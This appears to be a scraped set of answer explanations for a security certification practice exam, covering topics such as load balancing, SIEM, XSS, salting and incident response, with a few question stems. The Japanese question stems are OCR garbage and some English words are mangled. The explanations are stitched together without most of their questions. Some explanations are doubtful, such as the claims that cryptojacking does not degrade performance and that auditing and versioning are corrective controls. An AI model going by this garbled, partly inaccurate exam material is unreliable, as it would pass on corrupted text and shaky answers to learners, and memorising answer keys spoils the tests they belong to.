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The tester has some internal knowledge (valid credentials and target URL) but lacks full visibility into the application internals/source code. That limited insight falls squarely into
gray/partially known testing, which blends external attacker perspective with select insider information to focus efforts efficiently.
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Open service ports expose running services, and if those services are unnecessary or improperly secured, they provide entry points that attackers can exploit to gain
unauthorized access.
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Metadata is data that describes other data, such as its format, origin, creation date, author, and other attributes. Video files, like other types of files, can contain metadata that
can provide useful information for forensic analysis. For example, metadata can reveal the camera model, location, date and time, and software used to create or edit the video
file. To query the file's metadata, a security analyst can use various tools, such as Medialnfo, ffprobe, or hexdump, to extract and display the metadata from the video file. By
querying the file's metadata, the security analyst can most likely identify both the creation date and the file's creator, as well as other relevant information. Obtaining the file's
SHA-256 hash, checking endpoint logs, or using hexdump on the file's contents are other possible actions, but they are not the most appropriate to answer the question. The
file's SHA-256 hash is a cryptographic value that can be used to verify the integrity or uniqueness of the file, but it does not reveal any information about the file's creation date
or creator. Checking endpoint logs can provide some clues about the file's origin or activity, but it may not be reliable or accurate, especially if the logs are tampered with or
incomplete. Using hexdump on the file's contents can show the raw binary data of the file, but it may not be easy or feasible to interpret the metadata from the hex output,
especially if the file is large or encrypted.
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Ease of recovery: High-availability networks should be designed in a way that allows for quick and easy recovery in the event of a failure. Redundancy, failover mechanisms,
and backup systems are some of the components that can help facilitate smooth recovery.

Responsiveness: High-availability networks need to be responsive to ensure that any potential issues or failures are quickly detected, and appropriate actions are taken
promptly to minimize downtime and impact.
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WPAZ2-Enterprise uses 802.1X authentication with a RADIUS server to validate each user's individual credentials. Integrating RADIUS with the corporate directory allows users
to authenticate against centralized identity services for wireless access.
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A load-balanced architecture distributes incoming application traffic across multiple servers, potentially in different geographic locations, to optimize resource use, improve
response times, and provide redundancy if any single server fails.
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A non-disclosure agreement legally binds the third party to protect the confidentiality of sensitive information, including assessment results.
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An air-gapped network is a network that is physically isolated from other networks, such as the internet, to prevent unauthorized access and data leakage. However, an air-
gapped network can still be compromised by removable devices, such as USB drives, CDs, DVDs, or external hard drives, that are used to transfer data between the air-

gapped network and other networks.
Removable devices can carry malware, spyware, or other malicious code that can infect the air- gapped network or exfiltrate data from it. Therefore, removable devices are the

most common data loss path for an air- gapped network.
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Data classification identifies the type and sensitivity of information involved, such as public, internal, confidential, or regulated customer data. This helps determine the severity
and impact of the breach.
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To block signature-based attacks, the Intrusion Prevention System (IPS) must be in active mode.

In this mode, the IPS can actively monitor and block malicious traffic in real time based on predefined signatures. This is the best mode to prevent known attack types from
reaching the internal network.

Monitor mode and sensor mode are typically passive, meaning they only observe and log traffic without actively blocking it.

Audit mode is used for review purposes and does not actively block traffic.
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Input validation is a technique that checks the user input for any malicious or unexpected data before processing it by the web application. Input validation can prevent cross-

site scripting (XSS) attacks, which exploit the vulnerability of a web application to execute malicious scripts in the browser of a victim. XSS attacks can compromise the
confidentiality, integrity, and availability of the web application and its users. Input validation can be implemented on both the client-side and the server-side, but server-side

validation is more reliable and secure. Input validation can use various methods, such as whitelisting, blacklisting, filtering, escaping, encoding, and sanitizing the input data.
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OWASP (Open Web Application Security Project). OWASP provides extensive resources, guidelines, and tools related to web application security, including the OWASP Top
10, which lists the most critical security risks to web applications.
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Organized crime is a type of threat actor that is motivated by financial gain and often operates across national borders. Organized crime groups may be hired by foreign
governments to conduct cyberattacks on critical systems located in other countries, such as power grids, military networks, or financial institutions. Organized crime groups
have the resources, skills, and connections to carry out sophisticated and persistent attacks that can cause significant damage and disruption.
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Unknown USB devices can be malicious, so they should not be connected to any system.

Submitting the device to the security team allows it to be handled safely using proper forensic and security procedures.
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Static code analysis examines source code before compilation to identify errors and security weaknesses early in the development process.
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In a cloud environment, high availability is typically ensured through the use of a load balancer. A load balancer distributes network or application traffic across multiple servers,
ensuring that no single server becomes overwhelmed and that services remain available even if one or more servers fail. This setup enhances the reliability and availability of
applications.

Load balancer: Ensures high availability by distributing traffic across multiple servers or instances, preventing overload and ensuring continuous availability.

Access broker: Typically refers to a service that facilitates secure access to resources, not directly related to high availability.

Cloud HSM (Hardware Security Module): Provides secure key management in the cloud but does not specifically ensure high availability.

WAF (Web Application Firewall): Protects web applications by filtering and monitoring HTTP traffic but is not primarily focused on ensuring high availability.
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A Cybersecurity Framework (CSF) provides a structured approach to standardizing and aligning security programs across different organizations. By both companies adopting
the same CSF, they can ensure that their security measures, policies, and practices are consistent, which is essential during a merger when aligning two different security
programs.
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MITRE ATT&CK is a comprehensive and widely used framework that categorizes and describes the various tactics, techniques and procedures (TTPs) employed by
adversaries, it is used for threat intelligence, defensive strategy etc.
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Local data protection regulations are the first thing that a cloud-hosting provider should consider before expanding its data centers to new international locations. Data protection
regulations are laws or standards that govern how personal or sensitive data is collected, stored, processed, and transferred across borders. Different countries or regions may
have different data protection regulations, such as the General Data Protection Regulation (GDPR) in the European Union, the Personal Information Protection and Electronic
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Documents Act (PIPEDA) in Canada, or the California Consumer Privacy Act (CCPA) in the United States. A cloud-hosting provider must comply with the local data protection
regulations of the countries or regions where it operates or serves customers, or else it may face legal penalties, fines, or reputational damage. Therefore, a cloud-hosting
provider should research and understand the local data protection regulations of the new international locations before expanding its data centers there.
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To mitigate the risk of confidential documents being left unattended in Multi-Function Printers (MFPs), implementing an authentication factor that requires in-person action
before printing (such as PIN codes or badge scanning) is the most effective measure. This ensures that documents are only printed when the authorized user is present to
collect them, reducing the risk of sensitive information being exposed.
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The lessons learned phase occurs after an incident is resolved and involves reviewing the response process, identifying improvements, and implementing changes to enhance
future incident handling.
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Applying the principle of least privilege ensures users are granted only the minimum permissions required to perform their job functions, which prevents an analyst from having
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sufficient access to save or apply unauthorized configurations.
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Full disk encryption secures all data on a laptop's storage, ensuring it remains protected and inaccessible if the device is lost or stolen.

Bf: 184

BAN—EF2)TAA VT RIEICHBADEEZHET IEDIZEASNIDE RDS5ENTIHN?
A. SLE

B.LM»L

C. ARO

D. SLA
Eff: A(Q AV FEREEKT D)

Single Loss Expectancy (SLE) represents the monetary loss an organization expects from a single cybersecurity incident, helping quantify the financial impact of individual
events.
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From a practical standpoint, an administrator would use automation to compare all existing certificates with the revocation list, but potentially they could also script to OCSP per
each certificate in the environment. Either option seem valid, but CRL seems the better option from enterprise scan perspective.
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Exposing high-value targets like SMB and RDP to the internet on an isolated VLAN is characteristic of a honeynet, allowing the security team to lure and observe attackers
while keeping production systems protected.
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Chain of custody ensures that forensic evidence is properly documented, tracked, and handled from collection through analysis to maintain its integrity and admissibility.
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EDR logs provide detailed visibility into endpoint activity, including process execution, script behavior, and command-line actions, making them most effective for identifying
malicious PowerShell activity and potential system compromise.
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Memory injection vulnerabilities allow unauthorized code or commands to be executed within a software program, leading to abnormal behavior such as generating outbound
traffic over random high ports. This issue often arises from software not properly validating or encoding input, which can be exploited by attackers to inject malicious code.
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A conflict of interest arises when personal relationships or interests could potentially influence professional decisions. In this case, the CFQO's friendship with the vendor could
improperly affect the procurement decision-making process.
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An evil twin attack sets up a rogue wireless access point that mimics a legitimate one, targeting insecure or poorly secured networks to capture user data.
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In a hybrid cloud model, customers retain responsibility for managing their infrastructure configurations and deployments, including versioning infrastructure-as-code used to
provision and maintain resources.
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Deploying a Security Information and Event Management (SIEM) solution allows for efficient log aggregation, correlation, and analysis across an organization's infrastructure,
providing real-time security insights.
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Data classification is the process of assigning labels to data based on its sensitivity and business impact. Different organizations and sectors may have different data
classification schemes, but a common one is the following:

Public: Data that can be freely disclosed to anyone without any harm or risk. Private: Data that is intended for internal use only and may cause some harm or risk if disclosed.
Confidential: Data that is intended for authorized use only and may cause significant harm or risk if disclosed.

Restricted: Data that is intended for very limited use only and may cause severe harm or risk if disclosed.

In this scenario, the company is developing a critical system for the government and storing project information on a fileshare. This data is likely to be classified as confidential
and restricted, because it is not meant for public or private use, and it may cause serious damage to national security or public safety if disclosed. The government may also
have specific requirements or regulations for handling such data, such as encryption, access control, and auditing.
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CIS benchmarks provide industry-recognized configuration and security best practices for operating systems, applications, and network devices. By comparing existing systems
against these benchmarks, an organization can identify outdated or insecure configurations associated with legacy infrastructure. This assessment helps determine the scope of
modernization efforts and supports a risk-based approach by highlighting areas that require remediation or upgrades.
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Access badges enforce controlled physical access to the data center by allowing only authorized personnel to enter secured areas. By restricting entry at doors and checkpoints
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through authentication mechanisms such as badge readers, unauthorized individuals are prevented from gaining physical access to critical infrastructure, thereby stopping
potential attacks before they occur.
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The most likely reason the download was blocked, resulting in a false positive, is a misconfiguration in the endpoint protection software. False positives occur when legitimate
actions are incorrectly identified as threats due to incorrect settings or overly aggressive rules in the security software.

Misconfiguration in the endpoint protection software: Common cause of false positives, where legitimate activities are flagged incorrectly due to improper settings.

Zero-day vulnerability: Refers to previously unknown vulnerabilities, which are less likely to be associated with a false positive.

Supply chain attack: Involves compromising the software supply chain, which is a broader and more severe issue than a simple download being blocked.

Incorrect file permissions: Would prevent access to files but not typically cause an alert in endpoint protection software.
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Multi-Factor Authentication (MFA) and patch management are both examples of preventative and technical controls. MFA prevents unauthorized access by requiring multiple
forms of verification, and patch management ensures that systems are protected against vulnerabilities by applying updates. Both of these controls are implemented using

mmOoO O

technical methods, and they work to prevent security incidents before they occur.
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Tokenization replaces sensitive data, such as credit card information, with unique, nonsensitive tokens that have no exploitable value outside the system. The original data is
securely stored in a separate token vault, making it inaccessible even if the database is breached. This approach is widely used in payment processing and ensures compliance
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with standards like PCI DSS (Payment Card Industry Data Security Standard).
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An air-gapped architecture physically or logically isolates systems from external and internal networks, preventing direct connectivity and requiring manual methods, such as
portable devices, to perform updates.
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A risk assessment conducted on a yearly basis is performed at regular, predefined intervals, which characterizes it as a recurring assessment rather than a one-time, ad hoc, or
continuous activity.
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Privacy regulations such as the EU's GDPR grant individuals the "right to be forgotten" (also called the right of erasure), enabling them to request deletion of all personal data
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that an organization holds about them.
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Intellectual property is a type of data that consists of ideas, inventions, designs, or other creative works that have commercial value and are protected by law. Employees in the
research and development business unit are most likely to use intellectual property data in their day-to-day work activities, as they are involved in creating new products or
services for the company.

Intellectual property data needs to be protected from unauthorized use, disclosure, or theft, as it can give the company a competitive advantage in the market. Therefore, these
employees receive extensive training to ensure they understand how to best protect this type of data.
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Compliance attestation uses assessment results to confirm whether a third party meets required security, regulatory, or contractual controls. It provides formal evidence that the
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vendor's risk posture and compliance status have been reviewed.
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During a vulnerability assessment, scanning or testing can sometimes interfere with normal system operations, potentially leading to slowdowns, unresponsiveness, or even
outages. This can disrupt business operations, especially if the assessment is run on production systems without adequate precautions or scheduling during low-impact times.
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Endpoint protection is an agent-based solution installed on devices that can detect and block malicious activity locally, allowing it to function even when the system is
disconnected from the corporate network.
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A simulated failover tests the disaster recovery site's ability to handle a full transition of services.
This ensures all systems can function as expected during an actual disaster.
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To mitigate the risk of sensitive data being exfiltrated from the environment, the IT manager should implement a Data Loss Prevention (DLP) solution. DLP monitors and
controls the movement of sensitive data, ensuring that unauthorized transfers are blocked and potential data breaches are prevented.

XDR (Extended Detection and Response) is useful for threat detection across multiple environments but doesn't specifically address data exfiltration.

SPF (Sender Policy Framework) helps prevent email spoofing, not data exfiltration.

DMARC (Domain-based Message Authentication, Reporting & Conformance) also addresses email security and spoofing, not data exfiltration.
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Insecure protocols enabled on a network device represent a configuration weakness. Turning them off is a hardening action that remediates device misconfigurations.
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TCP port 445 is commonly used for Microsoft SMB (Server Message Block) protocol, which is often targeted by worms like WannaCry and NotPetya to spread rapidly across a
network. The symptoms described - high traffic on TCP 445, high latency, and network unavailability - suggest a self-replicating worm is propagating, overwhelming network
resources and disrupting normal operations.
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Steganography is the process of hiding information within another medium, such as an image, audio, video, or text file. The hidden information is not visible or noticeable to the
casual observer, and can only be extracted by using a specific technique or key. Steganography can be used for various purposes, such as concealing secret messages,
watermarking, or evading detection by antivirus software.
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Root cause analysis is a process of identifying and resolving the underlying factors that led to an incident. By conducting root cause analysis as part of incident response,
security professionals can learn from the incident and implement corrective actions to prevent future incidents of the same nature. For example, if the root cause of a data
breach was a weak password policy, the security team can enforce a stronger password policy and educate users on the importance of password security. Root cause analysis
can also help to improve security processes, policies, and procedures, and to enhance security awareness and culture within the organization. Root cause analysis is not meant
to gather 1oCs (indicators of compromise) for the investigation, as this is a task performed during the identification and analysis phases of incident response. Root cause
analysis is also not meant to discover which systems have been affected or to eradicate any trace of malware on the network, as these are tasks performed during the
containment and eradication phases of incident response.

Eﬁ:ﬁ: 225

RD>3H, T—2DTEMZRIATH—FARBRTIENTIN?

A /Ny aidk

B. &i&(F

C.eJyAT—3ay

D. r—% ik

IEf%: (EffZRTLET)

Hashing uses a one-way cryptographic function that converts data into a fixed-length hash value.

Any change to the original data results in a different hash value, allowing verification that the data has not been altered. Because the process cannot be reversed to recover the
original input, it provides assurance of data integrity.
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Password spraying is a type of brute-force attack used to gain unauthorized access to user accounts by systematically attempting a small number of commonly used passwords
against many user accounts. Unlike traditional brute-force attacks, which attempt many different passwords against a single user account, password spraying involves trying a
few commonly used passwords against a large number of accounts.
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To ensure that sensitive data, such as Personally Identifiable Information (PIl), is not modified, the bank should implement file integrity monitoring (FIM). FIM tracks changes to
files and provides alerts if unauthorized modifications are detected, ensuring data integrity.

Full disk encryption protects data at rest but does not prevent or monitor modifications.
Network access control (NAC) manages access to the network but doesn't monitor file changes.

User behavior analytics (UBA) detects suspicious user activities but is not focused on file integrit.
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Cryptojacking is the likely cause in this scenario. It involves malware that hijacks the resources of infected computers to mine cryptocurrency, usually without the user's
knowledge. This type of attack doesn't typically degrade performance significantly or result in obvious system failures, which matches the situation described, where the
machines showed no signs of degraded performance or excessive failed logins.
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Packet captures allow the analyst to examine traffic characteristics such as destination IPs, ports, protocols, timing, and traffic patterns, which helps determine whether
encrypted traffic on non- standard ports is indicative of malicious activity.

Eﬁ:ﬁ: 232

T—R3EVA—~ADFEEFmDRAZHEDD  SITEORITIIHITAVD, RELGYENEX 1) T REREIRDI6ENTTM?

A. 7O RHIERAFE

B.7z>Yy 4

C. ETHER

D. MRS —F

IEf#: (EfEERTLET)

Retractable bollards provide a strong physical barrier to stop unauthorized vehicles while remaining low enough (or lowered) to let pedestrians pass freely, making them ideal
for controlling vehicle access without impeding foot traffic.
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Virtual Desktop Infrastructure (VDI) allows a company to host desktop environments on a centralized server. Offshore teams can access these virtual desktops remotely,
ensuring that sensitive data stays within the company's infrastructure without the need to provide physical devices to the team. This solution is ideal for maintaining data security
while enabling remote work, as all data processing occurs on the company's secure servers.
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The security practice that helped the manager identify the suspicious link is end-user training.

Training users to recognize phishing attempts and other social engineering attacks, such as hovering over links to check the actual URL, is a critical component of an
organization's security awareness program.

End user training: Educates employees on how to identify and respond to security threats, including suspicious emails and phishing attempts.

Policy review: Ensures that policies are understood and followed but does not directly help in identifying specific attacks.

URL scanning: Automatically checks URLs for threats, but the manager identified the issue manually.

Plain text email: Ensures email content is readable without executing scripts, but the identification in this case was due to user awareness.
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OSINT involves systematically gathering and analyzing publicly available data - news reports, paste sites, breach repositories, darknet mirrors, social media - to see whether
details of your company's breach have been exposed. It's purpose-built for finding exactly this kind of public breach information.
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File integrity monitoring detects unauthorized changes to static files by comparing them against known baselines. A web application firewall helps prevent unauthorized
modifications by filtering and blocking malicious requests targeting the web server.
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A race condition occurs when multiple concurrent requests are processed without proper synchronization, allowing attackers to exploit timing issues and bypass safeguards.
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To provide employees with computers that do not have access to the internet and prevent information leaks to an online forum, implementing an air gap would be the best
solution. An air gap physically isolates the computer or network from any outside connections, including the internet, ensuring that data cannot be transferred to or from the
system.

Air gap: A security measure that isolates a computer or network from the internet or other networks, preventing any form of electronic communication with external systems.
Jump server: A secure server used to access and manage devices in a different security zone, but it does not provide isolation from the internet.

Logical segmentation: Segregates networks using software or network configurations, but it does not guarantee complete isolation from the internet.
Virtualization: Creates virtual instances of systems, which can be isolated, but does not inherently prevent internet access without additional configurations.
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A watering-hole attack occurs when attackers compromise a website that is commonly visited by a specific group of targets. Instead of directly attacking the victims, the attacker
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infects or manipulates the trusted site so that when the intended targets visit it, their systems or accounts can be compromised. This technique is often used by advanced threat
actors to target particular organizations or individuals.
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A Security Information and Event Management (SIEM) solution collects, aggregates, and correlates logs from multiple sources to detect anomalies and generate alerts. SIEMs
are essential for security monitoring and incident detection.
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The successful logins from multiple distant geographic locations within minutes indicate that the same credentials are being used by different individuals or systems, which is
consistent with password sharing.
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Avoidance involves choosing not to engage in activities or markets where certain risks are present. This is a proactive approach to risk management.
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To increase the resilience of an application by splitting the traffic between two identical sites, a systems administrator should set up load balancing. Load balancing distributes
network or application traffic across multiple servers or sites, ensuring no single server becomes overwhelmed and enhancing the availability and reliability of applications.
Load balancing: Distributes traffic across multiple servers to ensure high availability and reliability.

It helps in managing the load efficiently and can prevent server overloads.

Geographic disruption: Not a standard term related to resilience. This might imply the use of geographically distributed sites but isn't the precise solution described.
Eg%)v&rl efers to switching to a standby server or system when the primary one fails. It doesn't inherently split traffic but rather takes over when a failure occurs.
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A DDoS attack can overwhelm the VPN gateway with excessive traffic, preventing legitimate remote users from establishing VPN sessions even though their credentials,
permissions, and internet connections are all functioning normally.
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Code signing helps ensure the integrity and authenticity of your software package. It prevents bad actors from successfully repackaging your software with malware, as the
digital signature would no longer match. Users can verify that the software comes from you and hasn't been tampered with since you signed it, increasing trust and security.
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802.1X is a network access control protocol that provides an authentication mechanism to devices trying to connect to a LAN or WLAN. It supports the use of certificates for
authentication, can quarantine unapproved devices, and ensures that only approved and updated devices can access network resources. This protocol best meets the
%ﬁfr@%nts of securing both wired and wireless networks with internal certificates.
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Password management solutions securely store and manage credentials, preventing risky practices like keeping administrative credentials in shared folders, which can lead to
unauthorized access.
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Purchasing an insurance policy is a risk transfer strategy, as the financial impact of a risk is shifted from the company to the insurance provider.
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The containment phase focuses on limiting the scope and impact of an incident to prevent further damage or disruption, thereby helping to maintain business continuity during
the response process.
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The questions listed are part of a Risk Control Self-Assessment (RCSA), which is a process where teams evaluate the risks associated with their operations and assess the
effectiveness of existing controls. The questions focus on aspects such as patch management, the use of open- source code, external access, and compliance with corporate
standards, all of which are critical for identifying and mitigating risks.
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A reuse policy prevents users from using old passwords, which helps protect accounts even if previous passwords are compromised and available on the dark web.
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Input validation ensures that user-supplied data is properly sanitized and constrained, preventing malicious input such as SQL commands from being executed against a
database.
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Passive reconnaissance involves gathering information from publicly available sources, such as OSINT resources, without directly interacting with the target environment.
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The slow traceroute shows an extra first hop (10.20.10.10) with very high latency that does not appear when tracing from a known-good device on the same port. This indicates
the affected device's traffic is being redirected through an additional intermediary on the path, consistent with an on-path (man-in-the-middle) attack.
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Unlike other credential theft attacks, a pass the hash attack does not require the attacker to know or crack the password to gain access to the system. Rather, it uses a stored
version of the password to initiate a new session.

Eﬁ:ﬁ: 258

AT MRIEDRD I T—ADS5HE  LIR— FDEBNEFNDIDIEENTT M?
A. B8

B. %

C. ZAT=HEN

D. # LiA®

Eff:C(AAVRERKT D)

The lessons learned phase of an incident response process involves reviewing the incident and generating reports. This phase helps identify what went well, what needs
improvement, and what changes should be made to prevent future incidents. Documentation and reporting are essential parts of this phase to ensure that the findings are
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recorded and used for future planning.

* Recovery focuses on restoring services and normal operations.

* Preparation involves creating plans and policies for potential incidents, not reporting.

* Containment deals with isolating and mitigating the effects of the incident, not generating reports.
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A firewall cluster increases reliability by providing high availability and failover between multiple firewall instances. If one firewall fails, another can take over processing traffic,
ensuring continuous connectivity at the primary data center.
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Infrastructure as Code (laC) allows security configurations, such as WAF policies, to be automatically provisioned and managed as part of the application deployment process,
ensuring consistency and reducing manual effort.
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Full disk encryption (FDE) encrypts all the data on a disk drive, protecting the data at rest on the entire laptop, including the operating system, applications, and user files. This
ensures that if a laptop is lost or stolen, the data cannot be accessed without the correct decryption key.
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VM escape exploits a vulnerability in the virtualization layer, allowing an attacker to break out of a virtual machine and gain access to the host system or adjacent virtual
machines.
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The SMS OTP (One-Time Password) method is more vulnerable to interception compared to TOTP (Time-based One-Time Password) because SMS messages can be
intercepted through various attack vectors like SIM swapping or SMS phishing. TOTP, on the other hand, generates codes directly on the device and does not rely on a
communication channel like SMS, making it less susceptible to interception.
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Transitioning from on-premises to a cloud environment improves availability through the provider's redundant infrastructure and managed services, while reducing maintenance
overhead since hardware and many operational tasks are handled by the cloud provider.
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Jailbreaking is a primary security concern for a company setting up a BYOD (Bring Your Own Device) program. Jailbreaking is the process of removing the manufacturer's or
the carrier's restrictions on a device, such as a smartphone or a tablet, to gain root access and install unauthorized or custom software. Jailbreaking can compromise the
security of the device and the data stored on it, as well as expose it to malware, viruses, or hacking. Jailbreaking can also violate the warranty and the terms of service of the
device, and make it incompatible with the company's security policies and standards. Therefore, a company setting up a BYOD program should prohibit jailbreaking and enforce
device compliance and encryption.
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Unidentified removable devices, such as USB drives, are a common threat vector for insider threat actors attempting data exfiltration. Insiders can easily use these devices to
transfer sensitive data out of the organization undetected, making it one of the most commonly utilized methods for data theft.
Default network device credentials are a security vulnerability but not typically used for data exfiltration.

Spear phishing emails are used for external attacks, not insider data exfiltration.

Impersonation through typosquatting is typically used by external actors for phishing or fraud.


https://www.jpnshiken.com/q/68944-6456359/
https://www.jpnshiken.com/q/68944-6456360/
https://www.jpnshiken.com/q/68944-6456361/
https://www.jpnshiken.com/q/68944-6456362/

B: 270

DANWNR INI22T7 FALDRENA VR F—LEN 2y FDT—DREKICENEDEHSCEOHIZOIVEL— 22 RETEHHICEAINLIDIERODENTIT H?

A. IDS

B. ACL

C.EDR

D. NAC

IEf#: (EffZzRnLET)

Endpoint detection and response (EDR) is a technology that monitors and analyzes the activity and behavior of endpoints, such as computers, laptops, mobile devices, and
servers. EDR can help to detect and prevent malicious software, such as viruses, malware, and Trojans, from infecting the endpoints and spreading across the network. EDR
can also provide visibility and response capabilities to contain and remediate threats. EDR is different from IDS, which is a network-based technology that monitors and alerts
on network traffic anomalies. EDR is also different from ACL, which is a list of rules that control the access to network resources. EDR is also different from NAC, which is a
technology that enforces policies on the network access of devices based on their identity and compliance status.
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Hardware-level memory encryption protects data while it is actively being processed and stored in system memory, which corresponds to protecting data in use.
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High availability ensures systems remain operational even when hardware failures occur. By purchasing and configuring spare devices for critical network infrastructure, the
organization can quickly replace or fail over to backup equipment if a primary device fails. This minimizes downtime and maintains continuous service availability for critical
operations.
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Generators are the best safeguard against extended power failures, as they can provide power for long durations, unlike batteries or uninterruptible power supplies, which are
intended for short- term use.
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An unknown environment in penetration testing, also known as a black-box test, simulates an actual external attack where the tester has no prior knowledge of the system. This

type of penetration test is designed to mimic real-world attack scenarios, where an attacker has little to no information about the target environment. The tester must rely on
various reconnaissance and attack techniques to uncover vulnerabilities, much like a real-world attacker would. This approach helps organizations understand their security

posture from an external perspective, providing insights into how their defenses would hold up against a true outsider threat.
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Physically destroying the media (industrial shredding/pulverizing) renders the platters/chips irrecoverable, providing the highest assurance that no residual data can be

moOoO W

reconstructed - unlike logical wipes or degaussing, which can fail or be bypassed on certain media types.
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Conditional access policies restrict access based on certain conditions such as location, device type or risk level and if anything suspicious is detected, conditional access can
block those attempts.

MFAL on the other hand is a strong security measure that adds an extra layer of verification.
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A training curriculum plan for a security awareness program should address the following factors:

The threat vectors based on the industry in which the organization operates. This will help the employees to understand the specific risks and challenges that their organization
faces, and how to protect themselves and the organization from cyberattacks. For example, a healthcare organization may face different threat vectors than a financial
organization, such as ransomware, data breaches, or medical device hacking.

The cadence and duration of training events. This will help the employees to retain the information and skills they learn, and to keep up with the changing security landscape.
The training events should be frequent enough to reinforce the key concepts and behaviors, but not too long or too short to lose the attention or interest of the employees. For
example, a security awareness program may include monthly newsletters, quarterly webinars, annual workshops, or periodic quizzes.
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Reviewing the acquisition process allows the company to vet vendors, enforce secure procurement controls, and verify hardware integrity before servers enter the environment,
directly mitigating supply chain compromise risks.
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IPS stands for intrusion prevention system, which is a network security device that monitors and blocks malicious traffic in real time. IPS is different from IDS, which only detects
and alerts on malicious traffic, but does not block it. IPS would have mitigated the spread of ransomware by preventing the hacker from accessing the system via the phishing
link, or by stopping the ransomware from communicating with its command and control server or encrypting the files.
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An acceptable use policy defines the permitted and prohibited behaviors for employees when using company-issued devices, ensuring clear guidelines on what activities are
allowed.
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This option addresses the 50% memory utilization baseline, provides scalable storage, and typically includes built-in redundancy to handle single circuit failures. laaS providers
offer flexible resource allocation, easy scalability, and robust infrastructure with multiple layers of redundancy.
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Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into a web page, which can display pop-ups or redirect users to other sites without their consent.
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Corrective controls, such as auditing and versioning, help prevent unauthorized changes to financial data, ensuring data integrity and compliance with regulations.
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The CVE database provides a standardized public catalog of identified cybersecurity vulnerabilities, giving each vulnerability a unique identifier so organizations, vendors, and
security tools can consistently reference and track it.
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A risk register documents known risks, including vulnerabilities that cannot be remediated immediately. It allows the organization to track ownership, severity, impact, mitigation
plans, and the accepted timeline until remediation is possible.
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A third-party audit provides independent verification that the SaaS vendor's security controls and processes meet industry standards, which helps the security analyst assess
the actual security posture of the application before purchase.
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Hashing applies mathematical algorithms to transform passwords into unique, fixed-length values, ensuring the original password cannot be reversed from the hash.
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A self-signed certificate is a certificate that is signed by its own private key rather than by a trusted certificate authority (CA). This means that the authenticity of the certificate
relies solely on the issuer's own authority. If a spoofed identity was detected, it could indicate that a private key associated with a self-signed certificate was compromised. Self-
signed certificates are often used internally within organizations, but they carry higher risks since they are not validated by a third- party CA, making them more susceptible to
spoofing.
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Internal audit teams assess whether the organization is complying with its established policies, ensuring controls are followed and effective.
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Salting adds unique random data to each password before hashing, preventing attackers from using precomputed hash tables like rainbow tables to crack multiple passwords

efficiently.
Eﬁ:ﬁ: 292

VRATLEEEIZEHEEBBICIRYBATEY SDFEERNOREZEDENZHIRT ILENHY FET, VATLEEEFIRDSILENEERIRETLELEOIMN?

A. ZENZE DS HIR

B. BHEICE D < Hl#Y

C. R HIR

D. Bl il R

Ef#: (EfEZRTLET)

To restrict activity from employees after hours, the systems administrator should implement time- of-day restrictions. This method allows access to network resources to be
limited to specific times, ensuring that employees can only access systems during approved working hours. This is an effective part of a defense-in-depth strategy to mitigate
risks associated with unauthorized access during off- hours, which could be a time when security monitoring might be less stringent.

Time-of-day restrictions: These control access based on the time of day, preventing users from logging in or accessing certain systems outside of designated hours.
Role-based restrictions: Control access based on a user's role within the organization.

Attribute-based restrictions: Use various attributes (such as location, department, or project) to determine access rights.

Mandatory restrictions: Typically refer to non-discretionary access controls, such as those based on government or organizational policy.
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Code repositories: Developers sometimes inadvertently include sensitive information, such as API keys, passwords, and other credentials, in their code. When this code is
pushed to public repositories (e.g., GitHub, GitLab), those credentials can be exposed to the world, leading to potential credential leakage.
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Baseline configuration is the process of standardizing the configuration settings for a system or network. In this scenario, the organization needs to standardize the operating
system configurations before deploying them across the network. Establishing a baseline configuration ensures that all systems adhere to the organization's security policies
and operational requirements.
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Non-repudiation is the ability to prove that a message or document was sent or signed by a particular person, and that the person cannot deny sending or signing it. Non-
repudiation can be achieved by using cryptographic techniques, such as hashing and digital signatures, that can verify the authenticity and integrity of the message or
document. Non-repudiation can be useful for legal, financial, or contractual purposes, as it can provide evidence of the origin and content of the message or document.
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When an insider steals classified defense information and passes it to a hostile organization, their primary motivation is intelligence gathering on behalf of that organization -
classic espionage.
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IPSec (Internet Protocol Security) is a suite of protocols used to secure Internet Protocol (IP) communications. It authenticates and encrypts each IP packet in a communication
session, providing confidentiality, data integrity, and authentication. It is commonly used for creating secure Virtual Private Networks (VPNs) and is ideal for securing
communication in a private cloud.
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An Acceptable Use Policy (AUP) is an example of a managerial control. Managerial controls are policies and procedures that govern an organization's operations, ensuring
security through directives and rules. The AUP defines acceptable behavior and usage of company resources, setting guidelines for employees.

* Physical controls refer to security measures like locks, fences, or security guards.

* Technical controls involve security mechanisms such as firewalls or encryption.

* Operational controls are procedures for maintaining security, such as backup and recovery plans.
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Capacity planning is the process of determining the resources needed to meet the current and future demands of an organization. Capacity planning can help a company
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develop a business continuity strategy by estimating how many staff members would be required to sustain the business in the case of a disruption, such as a natural disaster, a
cyberattack, or a pandemic.
Capacity planning can also help a company optimize the use of its resources, reduce costs, and improve performance.
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Technical controls involve the use of technology to manage or mitigate risks. By segmenting the server into VALN and restricting access to specific devices, the network team
has employed a technical control here.

Compensating controls are alternative measures in place to address a risk when the primary control is not feasible which in these case segmenting the server into VLAN and
limiting access can be seen as compensating control.
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A cold site is the least expensive recovery option, providing space and infrastructure but no active systems, allowing for recovery at a lower cost-though with slower setup
compared to hot or warm sites.
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Data retention policies ensure data is only kept for the required period and then properly disposed of, reducing unnecessary legal liability after contractual obligations end.
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Salting is the process of adding extra random data to a password or other data before applying a one-way data transformation algorithm, such as a hash function. Salting
increases the complexity and randomness of the input data, making it harder for attackers to guess or crack the original data using precomputed tables or brute force methods.
Salting also helps prevent identical passwords from producing identical hash values, which could reveal the passwords to attackers who have access to the hashed data.
Salting is commonly used to protect passwords stored in databases or transmitted over networks.
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The category of data that is most impacted when it is lost is "Critical." Critical data is essential to the organization's operations and often includes sensitive information such as
financial records, proprietary business information, and vital operational data. The loss of critical data can severely disrupt business operations and have significant financial,
legal, and reputational consequences.

* Confidential: Refers to data that must be protected from unauthorized access to maintain privacy and security.

* Public: Refers to data that is intended for public disclosure and whose loss does not have severe consequences.

* Private: Typically refers to personal data that needs to be protected to ensure privacy.

* Critical: Refers to data that is essential for the operation and survival of the organization, and its loss can have devastating impacts.
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SASE provides a cloud-delivered, inline secure web gateway with URL reputation, content inspection, and categorization for remote users without backhauling traffic through
on-premises firewalls.
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Filesystem journaling records changes in a log, allowing the system to recover to a consistent or desired state after a crash or failure.
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Static analysis inspects source code at rest, prior to execution, to identify security vulnerabilities, coding errors, and insecure patterns before the software is deployed.

B 312

EEEEI EANBELORAZREEZ T UAILTRETEEZWeb 7T 5—a U FRBBELI-VWEEZTLET,
